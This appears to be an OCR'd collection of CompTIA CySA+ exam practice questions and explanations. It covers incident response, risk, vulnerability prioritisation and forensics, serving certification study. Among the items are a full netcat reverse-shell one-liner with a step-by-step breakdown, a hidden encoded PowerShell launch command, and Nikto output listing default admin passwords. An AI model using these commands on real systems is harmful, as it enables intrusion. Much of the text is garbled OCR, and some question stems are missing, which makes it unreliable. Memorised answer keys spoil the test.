(SSH). The output only shows information about port 443, which is the default port for HTTPS.

E#fERE: 36

TFFTFIRMET AT AVOTUORERBELTEY AEO—RELTROBHREMEBLELS,
cmd.exe /cc:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -
ExecutionPolicy Bypass -NoLogo -NoProfile -EncodedCommand <VERY LONG STRING> Ca<v >
DEMICEY FMERET TV X MARET DITE  ROENEFERT HILENHY TIH?

A O3 K RAO0—FDRANRE% basebd -d' [2Ta—LFT,

B. Windows VM M 533> FEEFTLET,
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Answer: A (A —vyt—T %K)

The command in question involves an encoded PowerShell command, which is typically used by
attackers to obfuscate malicious scripts. To decode and understand the payload, one would need to
decode the base64 encoded string. This is why option A is the correct answer, as 'base64 -d' is a
command used to decode data encoded with base64. This process will reveal the plaintext of the
encoded command, which can then be analyzed to understand the actions that the attacker was
attempting to perform. Option B is risky and not advised without a controlled and isolated environment.
Option C is not safe because executing unknown or suspicious code with administrator privileges could
cause harm to the system or network. Option D also poses a risk of executing potentially harmful code on
an analyst's workstation.
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SOAR (Security Orchestration, Automation, and Response) is the best option to help the analyst
implement the recommendation, as it reflects the software solution that enables security teams to
integrate and coordinate separate tools into streamlined threat response workflows and automate
repetitive tasks. SOAR is a term coined by Gartner in 2015 to describe a technology that combines the
functions of security incident response platforms, security orchestration and automation platforms, and
threat intelligence platforms in one offering.

SOAR solutions help security teams to collect inputs from various sources, such as EDR agents,
firewalls, or SIEM systems, and perform analysis and triage using a combination of human and machine
power. SOAR solutions also allow security teams to define and execute incident response procedures in
a digital workflow format, using automation to perform low-level tasks or actions, such as blocking an IP
address or quarantining a device. SOAR solutions can help security teams to improve efficiency,
consistency, and scalability of their operations, as well as reduce mean time to detect (MTTD) and mean
time to respond (MTTR) to threats. The other options are not as suitable as SOAR, as they do not match
the description or purpose of the recommendation. SIEM (Security Information and Event Management)
is a software solution that collects and analyzes data from various sources, such as logs, events, or
alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM
solutions can help security teams to gain visibility, correlation, and context of their security data, but they
do not provide automation or orchestration features like SOAR solutions. SLA (Service Level Agreement)
is a document that defines the expectations and responsibilities between a service provider and a
customer, such as the quality, availability, or performance of the service. SLAs can help to manage
customer expectations, formalize communication, and improve productivity and relationships, but they do
not help to implement technical recommendations like SOAR solutions. 10C (Indicator of Compromise) is
a piece of data or evidence that suggests a system or network has been compromised by a threat actor,
such as an IP address, a file hash, or a registry key. loCs can help to identify and analyze malicious
activities or incidents, but they do not help to implement response actions like SOAR solutions.
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Which source IP address should the analyst be most concerned about: Select the corrective actions:
_ —= = ) ) Encrypt index.html.
Select = -] Change the password on the sjames account.
Block external sftp access.
Shut down the insecure file transfer server.
[ Delete the sjames account.
Select | ) Deny 192.168.*.* at firewall,

(!
(
00O

Identify the indicator of compromise:




Which source IP address should the analyst be most concerned ahout: Select tie corrective actions:
Encrypt index.html.
Select X ) Change the password on the sjames account.
41.21.18.102 Block external sftp access.
) Shut down the insecure file transfer server.

192.168.11.102 () Delete the sjames account.

192.168.10.37 () Deny 192.168.*.* atfirewall. y
| 52.110.26.27

192.168.10.32

32.111.16.37

Identify the indicator of compromise:
Select v

404 server error
Modified index.html file
Unauthorized username
Modified about_us file
Repeated failed logins

Select v

LISTENING

.111.
.1i1.
.111.
104.17.




SFTP log HFTR fcass

192.168.10.32 - “¥ - [2022-04-01

192.168.10.37 - “” - [2022-04-01
31.28 [2022-04-01 22:

63.11.108.122 wr _ [2022-04-01

https://mycompany.com/about_us.html” HTTP/1.1 200]
https://mycompany.com” HTTP/1.1 200]
https://mycompany.com” HTTP/1.1 200]
https://mycompany.com” HTTP/1.1 200}
1
1

wm

Y ©

.21.18.102 e [2022-04-01 23: RO0Y
32.111.16.37 N [2022-04-01 2 200
52.110.26.27 L [2022-04-01 23 It https://m§@ompaay . com@@boutUsGiit™ HTTP/1.1 404)]
52.110.26.27 als 2 3 . https: //mgeSmpaily . com/a8BReUs . html” HTTP/1.1 404]
52.110.26.27 e 02 0 23: 7 » higlips : SinycBlpafiy . cf/aboutUs.html” HTTP/1.1 404)
192.168.11.102 i z ) BGETHIt tpRY /MegitiPany . com” HTTP/1.1 200]

https://mycompany.com” HTTP/lg
https://mycompany . com” JHlRP /N

(= B7, BT, I, I R
<

63.11.108.122 bt [20224@4-02 B2 e " WBEPS” / /mycompany.com” HTTP/1.1 200]
63.11.108.122 D [2022-Q@-0%2 H & 2 htps: //mycompany.com/about_us” HTTP/1.1 200]

Answer:

see the explanation for step by step solution.

Explanation:

Step 1: Analyzing the SFTP Log

The SFTP log provides a record of file transfer and login activities:

* User "sjames" logged in from several IP addresses:

*192.168.10.32 and 192.168.10.37 (internal network IPs)

*32.111.16.37 and 41.21.18.102 (external IPs)

* We see file alterations in the /var/www directory, which is commonly the web directory.

* Modified files: about_us.html, index.html

* Suspicious activity:

*192.168.11.102 and 41.21.18.102 modified the files.

*32.111.16.37 had failed login attempts, indicating possible unauthorized access attempts.

The most suspicious IP here is 41.21.18.102, as it's associated with direct file modifications, possibly
indicating unauthorized access.

Step 2: Reviewing Netstat

The netstat output shows active connections and their states:

* 1P 41.21.18.102 has an ESTABLISHED connection with port 22, commonly used for SFTP.

* P 32.111.16.37 is also attempting connections, and 32.111.16.37 connections are in a TIME_WAIT
state, showing prior connections were recently closed.

The netstat output reaffirms 41.21.18.102 is actively connected and potentially involved in malicious
activities.

Step 3: Checking the HTTP Access Log

The HTTP Access log shows access to about_us.html:

*32.111.16.37 repeatedly accessed /about_us.html with 404 errors, indicating attempts to reach non-
existing pages.

*41.21.18.102 accessed the 200 status code, showing successful page requests, but since this IP was
modifying files directly on the server, it might be testing or verifying changes.



Again, 41.21.18.102 stands out as it matches both successful file modification and page request patterns,
while 32.111.16.37 shows unsuccessful attempts.

Step 4: Selecting the IP of Concern

Based on the above analysis:

*41.21.18.102 should be the IP of concern due to its direct file modifications on critical web files
(about_us.html, index.html).

Step 5: Identifying the Indicator of Compromise

Potential indicators include unauthorized file modifications:

* Modified index.html file is the correct answer, as it indicates direct changes to website content and is
often a clear sign of compromise.

Step 6: Selecting Corrective Actions

To mitigate and prevent further compromise:

* Change the password on the "sjames" account: The account was used across various IPs, indicating
potential account compromise.

* Block external SFTP access: Restricting SFTP to internal IPs only would prevent unauthorized external
modifications. Since 41.21.18.102 was external, this would stop similar threats.

Summary

* IP of Concern: 41.21.18.102

* Indicator of Compromise: Modified index.html file

* Corrective Actions:

* Change the password on the sjames account

* Block external SFTP access

These selections address both the immediate security breach and implement a preventative measure
against future unauthorized access.

SFTP log Netstat HTTP access

Select the corrective actions:

) Shut down the insecure file transfer server.
Encrypt index.html.

Which source IP address should the analyst be most concerned about:

B OO

Deny 192.168.*.* at firewall.

L)

Identify the indicator of compromise:

X

Delete the sjames account.
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Answer: D (A —vt—U%5&9)

Comprehensive Detailed Explanation:The best approach to address the risk of a zero-day attack is
mitigation.

Here's an explanation of each option:

* A. Avoid

* Explanation: Avoiding risk would mean discontinuing the use of the asset, which is not feasible for high-
value assets that are essential to operations.

* B. Transfer

* Explanation: Transferring risk would involve outsourcing or obtaining insurance, but this does not
directly reduce the threat of a zero-day exploit.

* C. Accept

* Explanation: Accepting the risk means acknowledging it without implementing countermeasures, which
is not advisable for high-value assets at risk from sophisticated attacks.

* D. Mitigate

* Explanation: Mitigation involves implementing technical or administrative controls to reduce the impact
of an attack. For zero-day exploits, this could include installing network-based protections, enhancing
monitoring, or applying threat intelligence to detect or contain potential exploit attempts.
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Answer: (fAZEZ#RTT 5)

Business process interruption is the inhibitor to remediation that this scenario illustrates. Business
process interruption is when the remediation of a vulnerability or an incident requires the disruption or
suspension of a critical or essential business process, such as the point-of-sale application. This can
cause operational, financial, or reputational losses for the organization, and may outweigh the benefits of
the remediation.
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Therefore, the organization may decide to postpone or avoid the remediation until a more convenient
time, such as a change freeze window, which is a period of time when no changes are allowed to the IT
environment12. Service-level agreement, degrading functionality, and proprietary system are other
possible inhibitors to remediation, but they are not relevant to this scenario. Service-level agreement is
when the remediation of a vulnerability or an incident violates or affects the contractual obligations or
expectations of the service provider or the customer. Degrading functionality is when the remediation of a
vulnerability or an incident reduces or impairs the performance or usability of a system or an application.
Proprietary system is when the remediation of a vulnerability or an incident involves a system or an
application that is owned or controlled by a third party, and the organization has limited or no access or
authority to modify it3.

References: Inhibitors to Remediation - SOC Ops Simplified, Remediation Inhibitors - CompTIA CySA+,
Information security Vulnerability Management Report (Remediation...
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Answer: D (A —vt—T%EY)

A nation-state actor is a group or individual that conducts cyberattacks on behalf of a government or a
political entity. They are usually motivated by national interests, such as espionage, sabotage, or
influence operations. They are often highly skilled, resourced, and persistent, and they operate with the
protection or support of their state sponsors. Therefore, they are less likely to be concerned with the
forensic analysis for legal action of their actions, as they are unlikely to face prosecution or extradition in
their own country or by international law. They are more likely to be concerned with the detection by the
MITRE ATT&CK framework, which is a knowledge base of adversary tactics and techniques based on
real-world observations.

The MITRE ATT&CK framework can help defenders identify, prevent, and respond to cyberattacks by
nation-state actors. They are also likely to be concerned with the detection or prevention of
reconnaissance activities, which are the preliminary steps of cyberattacks that involve gathering
information about the target, such as vulnerabilities, network topology, or user credentials.
Reconnaissance activities can expose the presence, intent, and capabilities of the attackers, and allow
defenders to take countermeasures. Finally, they are likely to be concerned with the examination of their
actions and objectives, which can reveal their motives, strategies, and goals, and help defenders
understand their threat profile and attribution.
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Answer: B (A —vyt—T%EY)

An API endpoint is a point of entry for a communication between two different SaaS-based security tools.
It allows one tool to send requests and receive responses from the other tool using a common interface.
An API endpoint can be used to notify the other tool in the event a threat is detected and trigger an
appropriate action.

SMB share, SMTP notification, and SNMP trap are not suitable for SaaS integration security, as they are
either network protocols or email services that do not provide a direct and secure communication
between two different SaaS tools. References: Top 10 Best SaaS Security Tools - 2023, What is SaaS
Security? A Guide to Everything SaaS Security, 6 Key Considerations for SaaS Integration Security |
Prismatic, Introducing Security for Interconnected SaaS - Palo Alto Networks
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Answer: D (A —vt—T#ET)

Mean time to contain is the metric that the cybersecurity team lead should include in the weekly executive
briefs, as it measures how long it takes to stop the spread of malware that enters the network. Mean time
to contain is the average time it takes to isolate and neutralize an incident or a threat, such as malware,
from the time it is detected. Mean time to contain is an important metric for evaluating the effectiveness
and efficiency of the incident response process, as well as the potential impact and damage of the
incident or threat. A lower mean time to contain indicates a faster and more successful response, which
can reduce the risk and cost of the incident or threat. Mean time to contain can also be compared with
other metrics, such as mean time to detect or mean time to remediate, to identify gaps or areas for
improvement in the incident response process.
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Answer: A (A —yt—T %KY

Avoid is a risk management principle that describes the decision or action of not engaging in an activity or
accepting a risk that is deemed too high or unacceptable. Avoiding a risk can eliminate the possibility or
impact of the risk, as well as the need for any further risk management actions. In this case, the CISO
decided the risk score would be too high and refused the software request. This indicates that the CISO
selected the avoid principle for risk management.
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Source Destination :meamn Bytes sent Ea};:ii -, Action
192.168.1.14 |172.16.28 |low 64 0 T |allow
192.168.1.14 [172.16.28 |[low 64 0 7~ lallow
192.168.04 [172.16.28 |[low 512, |512 Lallgw I
192.168.1.14 [172.16.2.8 |low 4181207 Jo60 allow |
192.168.1.58 |172.16.2.8 |low 1985 354 allow
192.168.1.14 [172.16.2.8 [low s e [512 758 allow |
192.168.1.58 [172.16.2.8 |low = = |64 0 allow
192168.04 [172.16.28, Jlow 64 168468 allow
1192.168.1.14 |172.16.2.8 |low 1289 154 allow
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Answer: C (A —vt—T#EY)

The given firewall logs indicatehigh outbound traffic with low IP reputation, sustained over time, which is a
strongindicator of cryptomining activity.

* Option A (Anomalous activity)is a general term but does not specifywhythe activity is suspicious.
* Option B (Bandwidth saturation)occurs when network traffic is overwhelming, but cryptomining
typicallyuses CPU/GPU powerrather than overwhelming bandwidth.

>
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* Option D (Denial of service - DoS)would result incontinuous large requests, but cryptomining
generatesconsistent, high-bandwidth outbound trafficrather than bursts of large requests.

Thus,C is the correct answer, as cryptomininggenerates unusual outbound network activity from internal
hosts to mining pools.
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Answer: B (A —vyt—T%EY)

XSS (cross-site scripting) is the vulnerability type that the security analyst is validating, as the snippet
shows an attempt to inject a script tag into the web application. XSS is a web security vulnerability that
allows an attacker to execute arbitrary JavaScript code in the browser of another user who visits the
vulnerable website.

XSS can be used to perform various malicious actions, such as stealing cookies, session hijacking,
phishing, or defacing websites. The other vulnerability types are not relevant to the snippet, as they
involve different kinds of attacks. Directory traversal is an attack that allows an attacker to access files
and directories that are outside of the web root folder. XXE (XML external entity) injection is an attack that
allows an attacker to interfere with an application's processing of XML data, and potentially access files or
systems. SSRF (server- side request forgery) is an attack that allows an attacker to induce the server-
side application to make requests to an unintended location. Official References:

* https://portswigger.net/web-security/xxe

* https://portswigger.net/web-security/ssrf
https://cheatsheetseries.owasp.org/cheatsheets/Server _Side Request Forgery Prevention Cheat Sheet.
html
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Reverse engineering is a technique that involves analyzing a binary file to understand its structure,
functionality, and behavior. Reverse engineering can help security analysts perform malware analysis,
vulnerability research, exploit development, and software debugging. Reverse engineering can be done
using various tools, such as disassemblers, debuggers, decompilers, and hex editors.
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File Edt View Search Terminal Help
Server: Apache
Root page / redirects to: https://www.proz.com/
No CGI Directories found (use '-C all' to force check all possible dirs)
File/dir '/crawler-pit/* in robots.txt returned a non-forbidden or redirect HTTP code (260)
File/dir '/profiles/" in robots.txt returned a non-forbidden or redirect HTTP code (200)
File/dir '/profile/$/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
Filesdir '/profile?/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
File/dir '/profile/?/' in robots.txt returned a non-forbidden or redirect HTTP code (260)
File/dir '/translator/23728/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
File/dir '/profile/127329%/' in robots.txt returned a non-forbidden or redirect HTTP code (260)
File/dir '/?sp=login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
File/dir '/7sp=404/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
File/dir '/translation-news/wp-admin/' in robots.txt returned a non-forbidden or redirect HTTP code (508)
;rohots.tx!' contains 10 entries which should be manually viewed.
ines
/crossdomain,xml contains 1 line which should be manually viewed for isproper domains or wildcards.
Server is using a wildcard certificate: '*.proz.coa’
DEBUG HTTP verb may show server debugging information. See http://msdn.microsoit.com/en-us/1ibrary/e8z01xdh%28VS.80%29.aspx for details.
/kboard/: KBoard Forum ©.3.0 and prior have a security problem in forum edit post.php, forum post.php and forum_reply.php
/lists/admin/: PHPList pre 2.6.4 contains a number of vulnerabilities including remote administrative access, harvesting user info and more. Default
login to admin interface is admin/phplist
+ /splashAdmin.php: Cobalt Qube 3 admin is running. This may have multiple security problems as described by www.scan-associates.net. These could not
be tested remotely.
+ /ssdefs/: Siteseed pre 1.4.2 has '‘major' security problems.
+ /sshome/: Siteseed pre 1.4.2 has 'major’' security problems.
+ /tiki/: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admln/adnin
+ /tiki/tiki-install.php: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a "URL trick'. Default login/pass could be admin/admi
n
+ /scripts/samples/details.idc: See RFP 9901; www.wiretrip.net
+ 05VDB-396: /_vti bin/shtml.exe: Attackers may be able to crash FrontPage by requesting a DOS device, like shtml.exe/aux.htm -- a DoS was not attempt

LR B I R B R B R R R B R O IR

ed,

+ OSVDB-637: /~root/: Allowed to browse root's home directory.

+ /egi-bin/wrap: comes with IRIX 6.2; allows to view directories

+ /fortns//admin/config.php: PHP Configsfile may contain databaserIDs and passwords.
/forums//adm/config.php: PHP Config file may“contaimdatabase IDS and passwords.

F Itorumslladminfstrntorlconfig.php: PHP‘gonf;g t}}e nay.gonta;n database IDs and passwords.

X1 T BEENRICABT ILELNHLIDIEIRDSLENTTH?
A. tiki

B. phpList

C. shtml.exe

D. sshome
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Answer: C (A —vyt—T%EY)

The security administrator should investigate shtml.exe next, as it is a potential vulnerability that allows
remote code execution on the web server. Nikto scan results indicate that the web server is running
Apache on Windows, and that the shtml.exe file is accessible in the /scripts/ directory. This file is part of
the Server Side Includes (SSI) feature, which allows dynamic content generation on web pages.
However, if the SSI feature is not configured properly, it can allow attackers to execute arbitrary
commands on the web server by injecting malicious code into the URL or the web page12. Therefore, the
security administrator should check the SSI configuration and permissions, and remove or disable the
shtml.exe file if it is not needed. References: Nikto- Penetration testing. Introduction, Web application
scanning with Nikto
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The vulnerability scan shows that the version information is visible in the http-server-header, which can
be exploited by attackers to identify vulnerabilities specific to that version. Removing or obfuscating this
information can enhance security.
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/etc/shadow is the pattern that the security analyst can use to search the web server logs for evidence of
exploitation of the LFI vulnerability that can be exploited to extract credentials from the underlying host.
LFI stands for Local File Inclusion, which is a vulnerability that allows an attacker to include local files on
the web server into the output of a web application. LFI can be exploited to extract sensitive information
from the web server, such as configuration files, passwords, or source code. The /etc/shadow file is a file
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that stores the encrypted passwords of all users on a Linux system. If an attacker can exploit the LFI
vulnerability to include this file into the web application output, they can obtain the credentials of the users
on the web server.

Therefore, the security analyst can look for /etc/shadow in the request line of the web server logs to see if
any attacker has attempted or succeeded in exploiting the LFI vulnerability. Official References:

* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.comptia.org/certifications/cybersecurity-analyst

* https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered
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A vulnerability scan is a process of identifying and assessing the security weaknesses of a system or
network.

A vulnerability scan can help a security analyst to effectively identify the most security risks associated
with a locally hosted server, such as missing patches, misconfigurations, outdated software, or exposed
services. A vulnerability scan can also provide recommendations on how to remediate the identified
vulnerabilities and improve the security posture of the server12 References: 1: What is a Vulnerability
Scan? | Definition and Examples 2: Securing a server: risks, challenges and best practices - Vaadata
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The Cyber Kill Chain is a framework that describes the stages of a cyberattack from reconnaissance to
actions on objectives. The exploitation stage is where attackers take advantage of the vulnerabilities they
have discovered in previous stages to further infiltrate a target's network and achieve their objectives. In
this case, the malicious actor has gained access to an internal network by means of social engineering
and does not want to lose access in order to continue the attack. This indicates that the actor is in the
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exploitation stage of the Cyber Kill Chain. Official References: https://www.lockheedmartin.com/en-
us/capabilities/cyber/cyber-kill- chain.html
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The system "blane" with the vulnerability name "snakedoctor" should be prioritized for patching as it has a
network attack vector (AV:N), low attack complexity (AC:L), and high availability (A:H). These metrics
indicate that it would be relatively easy to exploit this vulnerability over the internet, and the system is
highly available. References: According to the CVSS v3.1 Specification Document, the exploitability
metrics for CVSS are Attack Vector, Attack Complexity, Privileges Required, User Interaction, and Scope.
These metrics measure how the vulnerability is accessed, the complexity of the attack, and the level of
interaction and privileges required to exploit the vulnerability. The image shows a table with the values of
these metrics for each system and vulnerability. Based on these values, the system "blane" has the
highest exploitability score, as it has the most favorable conditions for an attacker. The other systems
have either a lower attack vector, higher attack complexity, or lower availability, which make them less
exploitable. Therefore, the system

"blane" should be patched first.
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An SLA (Service Level Agreement) is a contract or agreement between a service provider and a
customer that defines the expected level of service, performance, quality, and availability of the service.
An SLA also specifies the responsibilities, obligations, and penalties for both parties in case of non-
compliance or breach of the agreement. An SLA can help organizations to ensure that their security
services are delivered in a timely and effective manner, and that any security incidents or vulnerabilities
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are addressed and resolved within a specified time frame. An SLA can also help to establish clear
communication, expectations, and accountability between the service provider and the customer12 An
MOU (Memorandum of Understanding) is a document that expresses a mutual agreement or
understanding between two or more parties on a common goal or objective. An MOU is not legally
binding, but it can serve as a basis for future cooperation or collaboration. An MOU may not besuitable
for requiring remediation of a known threat within a given time frame, as it does not have the same level
of enforceability, specificity, or measurability as an SLA.

Best-effort patching is an informal and ad hoc approach to applying security patches or updates to
systems or software. Best-effort patching does not follow any defined process, policy, or schedule, and
relies on the availability and discretion of the system administrators or users. Best-effort patching may not
be effective or efficient for requiring remediation of a known threat within a given time frame, as it does
not guarantee that the patches are applied correctly, consistently, or promptly. Best-effort patching may
also introduce new risks or vulnerabilities due to human error, compatibility issues, or lack of testing.
Organizational governance is the framework of rules, policies, procedures, and processes that guide and
direct the activities and decisions of an organization. Organizational governance can help to establish the
roles, responsibilities, and accountabilities of different stakeholders within the organization, as well as the
goals, values, and principles that shape the organizational culture and behavior. Organizational
governance can also help to ensure compliance with internal and external standards, regulations, and
laws. Organizational governance may not be sufficient for requiring remediation of a known threat within a
given time frame, as it does not specify the details or metrics of the service delivery or performance.
Organizational governance may also vary depending on the size, structure, and nature of the
organization.
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The first action that the analyst should take in this case is to clone the virtual server for forensic analysis.
Cloning the virtual server involves creating an exact copy or image of the server's data and state at a
specific point in time. Cloning the virtual server can help preserve and protect any evidence or information
related to the security incident, as well as prevent any tampering, contamination, or destruction of
evidence. Cloning the virtual server can also allow the analyst to safely analyze and investigate the
incident without affecting the original server or its operations.
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Data masking is a technique that replaces sensitive data with fictitious or anonymized data, while
preserving the original format and structure of the data. This way, the data can be used for testing
purposes without revealing the actual PIl information. Data masking is one of the best practices for data
analysis of confidential data1. References: CompTIA CySA+ CS0-003 Certification Study Guide, page
343; Best Practices for Data Analysis of Confidential Data
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Geoblocking is the best mitigation technique for unusual network scanning activity coming from a country
that the company does not do business with, as it can prevent any potential attacks or data breaches
from that country. Geoblocking is the practice of restricting access to websites or services based on
geographic location, usually by blocking IP addresses associated with a certain country or region.
Geoblocking can help reduce the overall attack surface and protect against malicious actors who may be
trying to exploit vulnerabilities or steal information. The other options are not as effective as geoblocking,
as they may not block all the possible sources of the scanning activity, or they may not address the root
cause of the problem. Official References:

* https://www.blumira.com/geoblocking/

* https://www.avg.com/en/signal/geo-blocking
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C: Impossible geo-velocity: This is an event where a single user's account is accessed from different
geographical locations within a timeframe that is impossible for normal human travel. In the log, we can
see that the user "jdoe" is accessing from the United States and then within a few minutes from Russia,
which is practically impossible to achieve without the use of some form of automated system or if the
account credentials are being used by different individuals in different locations.

B: Push phishing: This could also be an indication of push phishing, where the user is tricked into
approving a multi-factor authentication request that they did not initiate. This is less clear from the logs
directly, but it could be inferred if the user is receiving MFA requests that they are not initiating and are
being approved without their genuine desire to access the resources.
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The most volatile type of evidence that must be collected first in a computer system is running processes.
Running processes are programs or applications that are currently executing on a computer system and
using its resources, such as memory, CPU, disk space, or network bandwidth. Running processes are
very volatile because they can change rapidly or disappear completely when the system is shut down,
rebooted, logged off, or crashed. Running processes can also be affected by other processes or users
that may modify or terminate them. Therefore, running processes must be collected first before any other
type of evidence in a computer system
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Dictionary attacks involve an attacker attempting to guess passwords by using a list of common
passwords.


https://www.jpnpdf.com/CompTIA.CS0-003J.v2025-05-28.q209-mondaishu.html
https://www.jpnpdf.com/CompTIA.CS0-003J.v2025-05-28.q209-mondaishu.html
https://www.jpnpdf.com/CompTIA.CS0-003J.v2025-05-28.q209-mondaishu.html

Implementing a lockout policy is effective because it limits the number of login attempts, thereby
hindering the attacker's ability to repeatedly attempt different passwords. Lockout policies are standard in
cybersecurity practices to prevent brute-force and dictionary attacks by temporarilydisabling an account
after a certain number of failed login attempts. According to CompTIA Security+ standards, password
complexity (option B) and multifactor authentication (option A) are helpful but are not as immediately
effective in directly preventing repeated attempts as a lockout policy.
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Eradication is a step in the incident response process that involves removing any traces or remnants of
the incident from the affected systems or networks, such as malware, backdoors, compromised accounts,
or malicious files. Eradication also involves restoring the systems or networks to their normal or secure
state, as well as verifying that the incident is completely eliminated and cannot recur. In this case, the
analyst is remediating items associated with a recent incident by isolating the vulnerabilityand actively
removing it from the system. This describes the eradication step of the incident response process.
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Application security scanning is a process that involves testing and analyzing applications for security
vulnerabilities, such as injection flaws, broken authentication, cross-site scripting, and insecure
configuration.

Application security scanning can help identify and fix security issues before they become exploitable by
attackers. Using application security scanning as part of the pipeline for the continuous
integration/continuous delivery (CI/CD) flow can help mitigate the problem of finding the same
vulnerabilities in a critical application during security scanning. This is because application security
scanning can be integrated into the development lifecycle and performed automatically and frequently as
part of the CI/CD process.
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Implementing a central place to manage IT assets is the best solution to decrease the inconsistencies
regarding versions and patches in the existing infrastructure. A central place to manage IT assets, such
as a configuration management database (CMDB), can help the vulnerability assessment team to have
an accurate and up-to-date inventory of all the hardware and software components in the network, as well
as their relationships and dependencies. A CMDB can also track the changes and updates made to the
IT assets, and provide a single source of truth for the vulnerability assessment team and other teams to
compare and verify the versions and patches of the infrastructure12. Implementing credentialed
scanning, changing from a passive to an active scanning approach, and performing agentless scanning
are all methods to improve the vulnerability scanning process, but they do not address the root cause of
the inconsistencies, which is the lack of a central place to manage IT assets3. References: What is a
Configuration Management Database (CMDB)?, How to Use a CMDB to Improve Vulnerability
Management, Vulnerability Scanning Best Practices
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In this scenario, the security analyst is presented with multiple vulnerabilities, including a critical zero-day
vulnerability affecting the web server with a CVSS score of 10. The CVSS (Common Vulnerability Scoring
System) provides a standardized method for rating IT vulnerabilities, with a score of 10 indicating the
highest severity.

Option A:Contact the web systems administrator and request that they shut down the asset.

* Correct Choice:Given the critical nature of a zero-day vulnerability with a CVSS score of 10, immediate
action is warranted to prevent potential exploitation. Shutting down the affected web server reduces the
attack surface and mitigates the risk until a patch or workaround is available. This aligns with incident
response best practices, where containment is a priority to prevent further damage.

Option B:Monitor the patch releases for all items and escalate patching to the appropriate team.

* Incorrect Choice:While monitoring for patches is essential, it is a reactive approach. In the case of a
zero-day vulnerability with active exploitation potential, waiting for a patch without implementing
immediate protective measures exposes the organization to significant risk.

Option C:Run the vulnerability scan again to verify the presence of the critical finding and the zero-day
vulnerability in the environment.

* Incorrect Choice:Re-scanning may confirm the vulnerability's presence but does not address the
immediate threat. Action to mitigate the risk should take precedence over verification, especially when the
vulnerability is known and critical.

Option D:Forward the advisory to the web security team and initiate the prioritization strategy for the other
vulnerabilities.
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* Incorrect Choice:Communicating with the web security team is important; however, in the face of a
critical zero-day vulnerability, immediate action (such as shutting down the affected asset) is necessary
before addressing other vulnerabilities.
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Data exfiltration is the theft or unauthorized transfer or movement of data from a device or network. It can
occur as part of an automated attack or manually, on-site or through an internet connection, and involve
various methods. It can affect personal or corporate data, such as sensitive or confidential information.
Data exfiltration can be prevented or detected by using compression, encryption, authentication,
authorization, and other controls1 The network activity shows that a device on the network is sending an
outbound email via a mail client to a non-company email address daily at 10:00 p.m. This could indicate
that the device is compromised by malware or an insider threat, and that the email is used to exfiltrate
data from the network to an external party.

The email could contain attachments, links, or hidden data that contain the stolen information. The timing
of the email could be designed to avoid detection by normal network monitoring or security systems.
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Hacktivists are threat actors who use cyberattacks to promote a social or political cause, such as
environmentalism, human rights, or democracy. They may target companies that they perceive as
violating their values or harming the public interest. Hacktivists often use techniques such as defacing
websites, launching denial-of-service attacks, or leaking sensitive data to expose or embarrass their
targets12.

References: An introduction to the cyber threat environment, page 3; What is a Threat Actor? Types &
Examples of Cyber Threat Actors, section 2.
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A Secure Software Development Life Cycle (SDLC) integrates security measures at each stage of
development to reduce vulnerabilities and improve the overall security of the software. This is essential
for minimizing risks related to software usage and ensuring compliance with regulatory requirements,
which is particularly important for organizations handling sensitive data. As per CompTIA standards, a
Secure SDLC helps prevent security breaches and protects both the organization and its users from
potential harm. Options A, C, and D do not accurately describe the primary goals of a Secure SDLC,
which primarily centers on risk reduction and regulatory compliance.
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The best option to safeguard PII during an incident is to ensure permissions are limited in the
investigation team and encrypt the data. This is because limiting permissions reduces the risk of
unauthorized access or leakage of sensitive data, and encryption protects the data from being read or
modified by anyone who does not have the decryption key. Option A is not correct because closing the
data may hinder the investigation process and prevent collaboration with other parties who may need
access to the data. Option C is not correct because deleting data that is no longer needed may violate
legal or regulatory requirements for data retention, and may also destroy potential evidence for the
incident. Option D is not correct because opening permissions to the company may expose the data to
more people than necessary, increasing the risk of compromise or misuse.
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Comprehensive and Detailed Explanation:

In digital forensics, a write blocker is a critical tool used to prevent any modifications to the source drive
during imaging. When a forensic image is created, it should be an exact bit-for-bit copy of the original
evidence. If a write blocker is not used, system processes or other unintended changes can alter the
contents of the drive, leading to a hash mismatch between the original and the image copy.

* Chain of custody (Option A)ensures proper documentation of who accessed the evidence, but it does
not directly affect the hash values.

* Legal authorization (Option B)is necessary but unrelated to the technical integrity of the image.

* Data integrity verification (Option C)is part of the process, but in this scenario, the failure to maintain
integrity stems from the lack of a write blocker.

Thus, the correct answer isD, as using a write blocker would have prevented any unintended changes to
the data.
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B. SVR02

C. SVR03

D. SVR04

Answer: B (A —vyt—T%EY)

SVRO02 has a CVSS score of 7.1 and is exploitable, making itthe highest priority for remediation.
* SVRO1 (CVSS 8.9) is not exploitable, so it is a lower risk.

* SVRO3 (CVSS 3.5) is exploitablebut has alower severitythan SVR02.

* SVR04 (CVSS 6.7) is not exploitable, reducing its urgency.

Thus,B (SVR02) is the correct answer, as it presentsthe highest immediate risk.
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A mean time to remediate (MTTR) is a metric that measures how long it takes to fix a vulnerability after it
is discovered. A MTTR of 30 days would best protect the organization from the new attacks that are
exploited

45 days after a patch is released, as it would ensure that the vulnerabilities are fixed before they are
exploited
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The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f is a one-liner
that creates a reverse shell from the target machine to the attacker's machine. It does the following steps:
*rm -f timp/f deletes any existing file named /tmp/f

*mknod /tmp/f p creates a named pipe (FIFO) file named /tmp/f

*cat /tmp/f|/bin/sh -i 2>&1 reads from the pipe and executes the commands using /bin/sh in interactive
mode, redirecting the standard error to the standard output
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*nc 10.0.0.1 1234 > tmp/f connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using
netcat, and writes the output to the pipe This way, the attacker can send commands to the target machine
and receive the output through the netcat connection, effectively creating a reverse shell.

References

Hack the Galaxy

Reverse Shell Cheat Sheet
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A distributed denial-of-service (DDoS) attack is a type of cyberattack that aims to overwhelm a target's
network or server with a large volume of traffic from multiple sources. A common technique for launching
